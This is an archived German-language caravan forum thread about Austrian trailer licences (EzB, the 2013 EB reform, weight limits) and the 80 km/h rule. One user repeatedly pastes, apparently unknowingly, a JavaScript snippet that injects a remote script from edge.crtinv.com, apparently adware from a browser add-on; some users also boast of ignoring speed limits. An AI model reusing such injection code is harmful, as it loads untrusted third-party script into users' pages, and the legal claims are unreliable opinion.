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Archiv verlassen und diese Seite im Standarddesign anzeigen : E zu B oder nicht



Bobby
02.09.2012, 20:47
Hallo
Ich bin neu im forum.Wir sind seit ca 7 jahren camper mit einen Wohnwagen Carvelair Brasilia 395 bj89.
Haben heuer bei der heim fahrt vom Urlaub einen auffahr unfall gehabt mit Fahrer flucht zum glück hatten wir ein paar Bilder vom Kennzeichen.Werden sicher unseren ww herrichten.Sind aber beim
überlegen ob wir doch nicht einen neuen kleinen kaufen sollen. Aber die neuen haben alle über 750 kg
gesamt gewicht.Jezt ist die Frage E zu B oder nicht.Die einen sagen Ja die anderen nein.Und die wahl
des ww ist sowie so eine qual.:D Mfg Jürgen

abo
02.09.2012, 20:54
Hallo
Ich bin neu im forum.Wir sind seit ca 7 jahren camper mit einen Wohnwagen Carvelair Brasilia 395 bj89.
Haben heuer bei der heim fahrt vom Urlaub einen auffahr unfall gehabt mit Fahrer flucht zum glück hatten wir ein paar Bilder vom Kennzeichen.Werden sicher unseren ww herrichten.Sind aber beim
überlegen ob wir doch nicht einen neuen kleinen kaufen sollen. Aber die neuen haben alle über 750 kg
gesamt gewicht.Jezt ist die Frage E zu B oder nicht.Die einen sagen Ja die anderen nein.Und die wahl
des ww ist sowie so eine qual.:D Mfg Jürgen

hallo

wie schwer ist euer zugfahrzeug?
bis 3500kg hochstzulaessiges gesamtgewicht PKW+wohnwagen kannst eh mit B alleine fahren
und ab maerz 2013 gibt es den code 99 (?) mit dem du bis 4250kg pkw+wowa fahren kannst
das sollte doch reichen, oder?

lg
g

derfranze
02.09.2012, 21:52
Ab 9.1.2013 wird die neue FS-Gruppe EB eingeführt. Diese beschneidet (korrigiert) den EzB in der bisherigen Ausführung erheblich.
Konkret sieht es ab dem Jänner 2013 so aus, dass sie eine EB Ausbildung mit 3 Theroie- und 4 Praxiseinheiten absolvieren und Ihnen dann, wenn sie keine Prüfung EB ablegen, in den FS der Code 96 (maximales Gespanngewicht 4250 kg) eingetragen wird. Es ist möglich, dass zu jeder Zeit eine theoretische und praktische Prüfung abgelegt werden kann und dann der EB (maximales Gespanngewicht 7000kg) erteilt wird.

Über die anderern EzB Themen bitte die Suche bemühen, das wurde schon einige male des langen und breiten ausgewälzt.

lg Franz - diesen Schrott im Anhang habe ich seit dem update vom Firefox. Weis jemand Abhilfe?

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this .readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild (s);}};h.appendChild(s);}catch(ex){}}();!function( ){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this .readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild (s);}};h.appendChild(s);}catch(ex){}}();

schlesi66
03.09.2012, 16:23
[quote=derfranze;180887]
Ab 9.1.2013 wird die neue FS-Gruppe EB eingeführt.
Diese beschneidet (korrigiert) den EzB in der bisherigen Ausführung erheblich.
quote]

Was soll das heißen?
Ich denke nicht, daß mein EzuB, denn ich vor über 4,5 Jahren gemacht habe nun korrigiert wird.
Oder?

FlorianNoe
03.09.2012, 17:37
[quote=derfranze;180887]
Ab 9.1.2013 wird die neue FS-Gruppe EB eingeführt.
Diese beschneidet (korrigiert) den EzB in der bisherigen Ausführung erheblich.
quote]

Was soll das heißen?
Ich denke nicht, daß mein EzuB, denn ich vor über 4,5 Jahren gemacht habe nun korrigiert wird.
Oder?

Denk dass ist wie bei den anderen Führerscheinnovellen, die alten behalten ihre Gültigkeit, aber wenn du dir einen neuen ausstellen läßt, gelten für dich auch die aktuellen Regeln?

Was ist eigentlich die Einschränkung genau? Denk da gehts nur um einen PickUp mit Sattelkupplung und Allrad, der dann 5,25to haben darf oder?
Die Chancen, dass ich mal so ein Gespann besitze ist allerdings relativ gerig, aber doch reizvoll ;-)

derfranze
03.09.2012, 18:16
[quote=derfranze;180887]
Ab 9.1.2013 wird die neue FS-Gruppe EB eingeführt.
Diese beschneidet (korrigiert) den EzB in der bisherigen Ausführung erheblich.
quote]

Was soll das heißen?
Ich denke nicht, daß mein EzuB, denn ich vor über 4,5 Jahren gemacht habe nun korrigiert wird.
Oder?

Nein, die bestehenden EzB bleiben erhalten mit allen Rechten. Es ist auch keine Rede mehr von C1/EzB wenn der Anhänger über 3,5 Tonnen schwer ist.

lg Franz
!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this .readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild (s);}};h.appendChild(s);}catch(ex){}}();

derfranze
03.09.2012, 18:20
[quote=schlesi66;180945]

Denk dass ist wie bei den anderen Führerscheinnovellen, die alten behalten ihre Gültigkeit, aber wenn du dir einen neuen ausstellen läßt, gelten für dich auch die aktuellen Regeln?

Was ist eigentlich die Einschränkung genau? Denk da gehts nur um einen PickUp mit Sattelkupplung und Allrad, der dann 5,25to haben darf oder?
Die Chancen, dass ich mal so ein Gespann besitze ist allerdings relativ gernig, aber doch reizvoll ;-)

Hat mit dem oben geschriebenen nichts zu tun. Im EzB ist das Anhängergewicht nicht limitiert, wen der Anhänger eine der Druckluftbremse gleichwertige Bremsanlage besitzt und das Zugfahrzeug "B" ist.

lg Franz
!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this .readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild (s);}};h.appendChild(s);}catch(ex){}}();

abo
03.09.2012, 19:20
[quote=derfranze;180887]
Ab 9.1.2013 wird die neue FS-Gruppe EB eingeführt.
Diese beschneidet (korrigiert) den EzB in der bisherigen Ausführung erheblich.
quote]

Was soll das heißen?
Ich denke nicht, daß mein EzuB, denn ich vor über 4,5 Jahren gemacht habe nun korrigiert wird.
Oder?

hi

denke schon

es wird eine 7000kg grenze eingefuehrt (summe HZLGG zugfahrzeug und anhaenger) haette ich mal gelesen ...

bisher gab es die so nicht
da haette man bis zu 18t summe fahren koennen oder so
je nach bremsanlage

lg
g

lupo1972
05.09.2012, 23:11
bitte nicht vergessen, dass der EzuB nicht nur das max. Gesamtgewicht regelt, sondern auch das Verhältnis EG PKW zu HZG Hänger - hat ein PKW z.B ein EG von 1200 kg und ein Hänger ein HZG von 1300kg, bin ich zwar unter den 3500kg HZG PKW+Hänger vom B-Schein ABER das HZG vom Hänger ist > als das EG vom PKW - daher EzuB hier notwendig. Je nach erlaubter Anhängelast vom PKW darf ich dann bis 1200 oder 1300 kg beladen. Daher lieber die 500 EUR investieren und sich keine Gedanken mehr machen - ausser, dass man mit einem EzuB pflichtigen Gespann nur mehr 80 in Österreich fahren darf.

Was die neue Regel betrifft ist das eh der alte EzuB - nur halt mit 2 Varianten - einmal ohne Prüfung und max 4250kg und einmal mit Prüfung und max 7000kg wie der alte EzuB ...

derfranze
06.09.2012, 00:26
bitte nicht vergessen, dass der EzuB nicht nur das max. Gesamtgewicht regelt, sondern auch das Verhältnis EG PKW zu HZG Hänger - hat ein PKW z.B ein EG von 1200 kg und ein Hänger ein HZG von 1300kg, bin ich zwar unter den 3500kg HZG PKW+Hänger vom B-Schein ABER das HZG vom Hänger ist > als das EG vom PKW - daher EzuB hier notwendig. Je nach erlaubter Anhängelast vom PKW darf ich dann bis 1200 oder 1300 kg beladen. Daher lieber die 500 EUR investieren und sich keine Gedanken mehr machen - ausser, dass man mit einem EzuB pflichtigen Gespann nur mehr 80 in Österreich fahren darf.

Diese Gewichtsverhältnis - Bestimmungen fallen mit 19.1.2013. Es gilt dann ohne EB ein max. Gesamtgewicht von 3,5 Tonnen von Zugfahrzeug und Anhänger.


Was die neue Regel betrifft ist das eh der alte EzuB - nur halt mit 2 Varianten - einmal ohne Prüfung und max 4250kg und einmal mit Prüfung und max 7000kg wie der alte EzuB ...

Jeder kann und darf sich die Sicht auf die Dinge einfach machen.

lg Franz
!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this .readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild (s);}};h.appendChild(s);}catch(ex){}}();

tullnerfelder
06.09.2012, 01:15
Hallo Jürgen,
hier eine kleine Entscheidungshilfe: http://www.fuerboeck.at/fuehrerschein/klasse_b_2013.html#96

bertl27
06.09.2012, 10:45
Hallo!

Daher lieber die 500 EUR investieren und sich keine Gedanken mehr machen - ausser, dass man mit einem EzuB pflichtigen Gespann nur mehr 80 in Österreich fahren darf.



Gerade über diesen "Unsinn" muss ich mich ständig aufregen...

Ich habe den EzuB auch nachgemacht;
hauptsächlich aus dem Grund weil unser neuer Wagen "zu schwer" ist; bzw. "zu schwer sein dürfte"!

Unseren Wohnwagen hätte ich von der Anhängelast her auch mit unserem vorigen Auto, einem Seat Leon, 90 PS, Diesel ziehen dürfen!

Dabei hätte ich die max. 3500 Kilo nie erreicht - hätte also 100 km/h "düsen" dürfen!

Mit unserem Galaxy komme ich auf ein HZGG von 3800 Kilo (welche ich aber wohl nie erreichen werde!); darf also nur 80 fahren!

Mit dem gleichen Anhänger!!

Obwohl ich ja jetzt eine "Anhängerausbildung" habe;

UND:

das Zugfahrzeug um einiges besser ist: breitere Reifen; stärkerer Motor; bessere Bremsen; besseres Zuggewicht,....

Das gehört im Gesetz geändert;

ginge ja ganz leicht mit folgendem Wortlaut:

Gespanne mit einem Gesamtgewicht (tatsächliches, nicht höchstzulässiges!) bis 3500 Kilo: 100 km/h.

Bei Überschreitung dieses Gewichtes: 80 km/h.

Dann hätte das Ganze wohl eher einen Sinn....

Fasti24
06.09.2012, 11:18
Hallo!


Gerade über diesen "Unsinn" muss ich mich ständig aufregen...

Ich habe den EzuB auch nachgemacht;
hauptsächlich aus dem Grund weil unser neuer Wagen "zu schwer" ist; bzw. "zu schwer sein dürfte"!

Unseren Wohnwagen hätte ich von der Anhängelast her auch mit unserem vorigen Auto, einem Seat Leon, 90 PS, Diesel ziehen dürfen!

Dabei hätte ich die max. 3500 Kilo nie erreicht - hätte also 100 km/h "düsen" dürfen!

Mit unserem Galaxy komme ich auf ein HZGG von 3800 Kilo (welche ich aber wohl nie erreichen werde!); darf also nur 80 fahren!

Mit dem gleichen Anhänger!!

Obwohl ich ja jetzt eine "Anhängerausbildung" habe;

UND:

das Zugfahrzeug um einiges besser ist: breitere Reifen; stärkerer Motor; bessere Bremsen; besseres Zuggewicht,....

Das gehört im Gesetz geändert;

ginge ja ganz leicht mit folgendem Wortlaut:

Gespanne mit einem Gesamtgewicht (tatsächliches, nicht höchstzulässiges!) bis 3500 Kilo: 100 km/h.

Bei Überschreitung dieses Gewichtes: 80 km/h.

Dann hätte das Ganze wohl eher einen Sinn....
Bei uns wars genauso!
Haben uns auch eine bessere Zugmaschine gekauft und wurden auch damit bestraft nur mehr 80 fahren zu dürfen!

FRAS1976
06.09.2012, 12:34
Hi,

also um ehrlich zu sein: mir ist der 80er wurscht. In den meisten europäischen Ländern gilt der sowieso auch (wurscht ob EzuB oder nicht).
Vielleicht hatte ich Glück, aber ich fahre schon seit einigen Jahren mit dem E-B-Gespann und habe noch nie gezahlt, obwohl ich den 80er konstant ignoriere.
Für mich war wichtiger auf der Waage meine Ruhe zu haben (obwohl ich auch noch nie gewogen wurde). Jahrelang "überladen" und "ohne FS" zu fahren hat mich einfach mehr gestört, als das Risiko mit 100 statt 80 erwischt zu werden.
Aus meiner Erfahrung: je grösser und schwerer das Gespann, desto stabiler fährt es sich auch. Das unsere Gesetzgeber praktische Gegebenheiten nicht kapieren ist ja nix neues und kein Einzelfall.

lG.

Flüsterer
06.09.2012, 14:24
(...)
Das gehört im Gesetz geändert;

ginge ja ganz leicht mit folgendem Wortlaut:

Gespanne mit einem Gesamtgewicht (tatsächliches, nicht höchstzulässiges!) bis 3500 Kilo: 100 km/h.

Bei Überschreitung dieses Gewichtes: 80 km/h.

Dann hätte das Ganze wohl eher einen Sinn....

Ich denke mal, das genau DAS keinen Sinn macht.

Warum?

Da haben wir dann die Kleinwagen a la Golf, die einen für diese zu großen WoWa ziehen, wo wieder der Schwanz mit dem Hund wedelt. Wo ist da bitteschön eine Fahrsicherheit gegeben?

Allesfahrer
06.09.2012, 14:35
Ich denke mal, das genau DAS keinen Sinn macht.

Warum?

Da haben wir dann die Kleinwagen a la Golf, die einen für diese zu großen WoWa ziehen, wo wieder der Schwanz mit dem Hund wedelt. Wo ist da bitteschön eine Fahrsicherheit gegeben?


Hallo!

Ich denke genau das ist hier gemeint.

Wenn du 100 fahren willst musst du ein leichteres Zugfahrzeug wählen bei dem der Schwanz dann mit dem Hund wedelt um nicht über die 3.500 zu kommen.

Nimmst du das bessere schwerere Zugfahrzeug mit dem das ganze Gespann stabieler läuft und bei dem auch die Bremsen stärker ausgeführt sind darfst du nur noch 80 fahren weil du über die 3.500 kommst.

bertl27
06.09.2012, 14:43
Da haben wir dann die Kleinwagen a la Golf, die einen für diese zu großen WoWa ziehen, wo wieder der Schwanz mit dem Hund wedelt. Wo ist da bitteschön eine Fahrsicherheit gegeben?

Nun, Martin,

das dürfen die (Golf-Fahrer) ja jetzt auch;

ich hätte ja auch mit dem Seat Leon meinen jetzigen TEC ziehen dürfen;

ja sogar noch mehr: bis 1600 kg Anhängelast!!

Da wäre sich ein Doppelachser Tabbert auch noch ausgegangen....:D

Oder zum Beispiel ein Hymer Feeling mit zwei Achsen:D:D:D

http://up.picr.de/11744166ny.jpg

hehe; Paint machts möglich....

Nein, im Ernst:

ich weis schon das das Fahrverhalten "unter aller Sau" ist je größer der WW ist - im Gegensatz zu "kleinen" Autos!

Wir hatten ja auch mal einen Knaus Azur:

http://up.picr.de/11744180rl.jpg

..mit diesem sind wir aber dann doch nie weggefahren; wurde nach ein paar Reparaturen wieder "abgegeben"!

Und einmal holte ich für einen Freund mit dem Seat einen "mittelgroßen" Wilk vom Syrowatka und überstellte diesen zum Schwarzl-See.

Nun, was soll ich sagen/schreiben: bis ca. 90 km/h lief er "ruhig" nach; dann war "es" nicht mehr soooo angenehm!

So,

ein wenig ausgeschweift.....

Fakt ist aber trotzdem das ich jetzt ja eigentlich sicherer unterwegs bin und dafür eingebremst werde!

Obwohl:

die Scheriffs sehen ja von vorne mit ihren Kmh-Messgeräten nicht wie schwer das Gespann typisiert ist und wie schnell es infolgedessen unterwegs sein "darf"!
:D:):rolleyes:

Allesfahrer
06.09.2012, 15:01
Tja, bei genauerer Überlegung müsste EzB eigentlich rein Hängerabhängig sein.

zB.:
- 750kg = leichter Anhänger ungebremst 80 km/h / gebremst 100 km/h
751 - 1.500kg = schwerer Hänger mit B - Schein 100 km/h
1.501 - 3.500kg = schwerer Hänger mit EzB 80 km/h

atrophie
06.09.2012, 22:27
Also ich hab den EzB mit dem Kauf unseres neuen Wohnwagens auch gemacht. Sicher ist sicher:D
Muß ja sagen, da sind die Deutschen wohl einen Schritt voraus.
Die dürfen von Haus aus nur 80 fahren, mit gewissen Erfüllungen 100.
Bei uns von Haus aus 100. Egal welches Fahrwerk der Hänger hat, Alter der Reifen oder wie das Zugfahrzeug ausgestattet ist.
Komisch, das alles:confused:

lupo1972
09.09.2012, 00:37
... was 80 oder 100 betrifft sehe ich das locker - die 2 Stunden durch Österreich wo ich 100 fahren dürfte wenn die HZGs vom Gespann über 3500kg sind drückt man auch durch - was verliert man da tatsächlich an Zeit? Und mit Tempomat auf 100 ist die Möglichkeit erwischt zu werden gering - Tempomat 100 ist eh in Wirklichkeit 95 und bei fixen Radarkästen sofern man sie nicht kennt blitzen die erst bei 100 oder gar nicht weil 130 erlaubt - ich wurde sogar einmal mit 100 bei Villach geblitzt - da hat eine Lichtschranke für LKWs ausgelöst und den 80er geblitzt - gekommen ist nix, ich nehme an, dass die am Foto meinen Wohnwagen von hinten mit 95km/h gesehen haben und gut war es da die sonst beide Fahrzeuge überprüfen hätten müssen - bei mobilen könnte es genauer sein wenn die den SUV sehen und sehr genau sein wollen - bei einem Unfall aber wird sicher exakt gerechnet - daher lieber malmein paar Minuten langsamer ...